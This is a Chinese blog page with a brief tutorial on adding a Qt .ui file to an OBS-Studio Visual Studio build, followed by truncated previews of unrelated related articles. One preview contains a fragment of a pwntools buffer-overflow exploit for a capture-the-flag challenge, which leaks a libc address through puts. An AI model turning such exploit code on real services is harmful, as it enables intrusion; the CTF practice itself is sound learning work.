OBS-Studio 的工程编译后是一个VS工程
用qtcreator新建一个.ui文件,然后将该ui文件添加到vs工程UI文件中:
1、在搭建好QT环境,就是给VS装一个QT插件,可参考https://blog.csdn.net/liang19890820/article/details/53931813
然后双击新增的UI文件,弹出qtcreator的界面编辑器(QT插件装好才能直接双击打开),编辑自己的界面;
2、编辑好后,保存,点击ui文件->右键->属性->常规->项类型-自定义生成工具
3、然后编辑自定义生成工具,如下图
(1)命令行
(2)说明
(3)输出
也是同理啦,例如:D:\code\obs-studio\VSbuild\UI\ui_xxx.h
(4)附接依赖项
添加新增ui文件所在的路径
4、将.h和.cpp文件添加到CMakeList.txt中;
5、将ui文件也添加到该UI目录下的CMakeList.txt中
6、编译,obs_automoc.c会自动为你生成moc文件;
写的比较粗糙,不喜勿喷,留下以备查看。
文章浏览阅读296次。from pwn import *#p = process('./pwnme2')p = remote("node3.buuoj.cn",26522)libc = ELF('./libc-2.23.so')plt_puts = 0x08048490got_puts = 0x0804A028main = 0x080486F8payload = 108*'a' + p32(0xdeadbeaf) + p32(plt_puts) + p32(main) + p32(got_puts)._pwnme2 cmcc
文章浏览阅读9.1k次,点赞15次,收藏58次。论文题目:Heterogeneous Graph Neural Network论文来源:KDD 2019论文链接:https://arxiv.org/abs/1903.07293代码链接:https://github.com/chuxuzhang/KDD2019_HetGNN关键词:HIN, GNN, Graph Embedding文章目录1 摘要2 引言2.1 已有的方法2.2 G..._hetgnn代码解读
文章浏览阅读890次,点赞20次,收藏21次。最后看一下。
文章浏览阅读4.8k次,点赞2次,收藏11次。Why DNS Based Global Server Load Balancing (GSLB) Doesn’t Work作者:Pete Tenereillo3/11/04Copyright Tenereillo, Inc. 2004序言弗雷德:乔,我要去赶一班飞机,从好莱坞到洛杉矶国际机场需要多长时间? 乔:恩。。。这取决于你走哪条路。 _gslb时不时不能解析
文章浏览阅读1.6k次。1.下载POCOhttps://pocoproject.org/releases/我们选择windows下的zip包下载,注意有两个版本poco-1.9.4-all.zippoco-1.9.4.zip其中不带all的是基础版本,只包含基本的poco类库,带all的是全功能版本,包含sqlite,opensll等等。2.编译Poco C++前提条件:1)Poco C++源码(官网..._poco在vs下指定sql
文章浏览阅读919次。使用VBB仿真,实现密码验证。接线 代码贴图 操作接线:代码贴图:操作:初始密码:1234每组验证可输入4位字符,然后任意再触发任意数字键盘按键,完成一组输入验证。右LED灯亮时表示输入错误,左LED灯亮时表示输入正确。当错误输入次数满三次后闪烁报警,仅当再次正确输入后错误计数清零。..._vbb+
文章浏览阅读552次。点击上方“小白学视觉”,选择加"星标"或“置顶”重磅干货,第一时间送达转自|新机器视觉引言计算机视觉(Computer Vision)自兴起以来就非常迅速且广泛应..._一张图片的底层数据
文章浏览阅读1.5k次。1.引用方式1.内联式(行内样式)将标记的style属性值直接赋值为所定义的样式规则<p style = "color:red;background:#000000;">这是一个段落</p>2.嵌入式利用<style>&lt_如何提高link样式文件的权重
文章浏览阅读2.2k次。由于AMD 6200系列和INTEL E5系列等新架构CPU的大量推广,传统的SUSE10和RHEL5在新的硬件平台上已经不能发挥出良好的性能。 经大量测试发现,在RHEL6.2 x64平台上,infiniband网络和计算软件能得到最佳性能。 由于RHEL6.2 x64在系统安装时有很多32位软件包被自动忽略,同时使用UUID方式挂载硬盘不方便克隆和修复。现发布一个新测试通过的k_oraclelinux ks.cfg
文章浏览阅读1.4k次。int i = 0; int x = 0; char str[20]; char val1[20],val2[20],val3[20]; case EVENT_LEFT_CLICK_UP: { sprintf(CanMeng_FileName,"%s%s","file",".txt"); http://www.docin.com/p-647400695.html printf("write file:%s\n",CanMeng_FileName); Ca._cvi fopen
文章浏览阅读2.3k次。[2013年4月28日更新] Ubuntu Linux 3D桌面完全教程,显卡驱动安装方法,compiz特效介绍,常见问题解答。本教程最早是一善鱼 YQ-YSY 于2008年编写并发布在Ubuntu中文论坛forum.ubuntu.org.cn配置美化区3D桌面特效版块的:——《图解Ubuntu8.10和8.04最简便的显卡驱动安装和3D桌面启用方法,compiz fusion常见问题解答_linux桌面启动u3d程序 需要更新什么吗
文章浏览阅读7k次。背景说明cloud-init 的一项功能是自动扩展linux的指定分区。比如linux镜像是20G,在部署instance时选择的flavor磁盘定义是40G,那么instance部署时cloud-init会自动将制定分区扩到 40G。 环境准备1) 该功能依赖growpart,所以需要在开始前,在镜像中安装包: yum install –y cloud-utils-gro..._cloud-init 扩展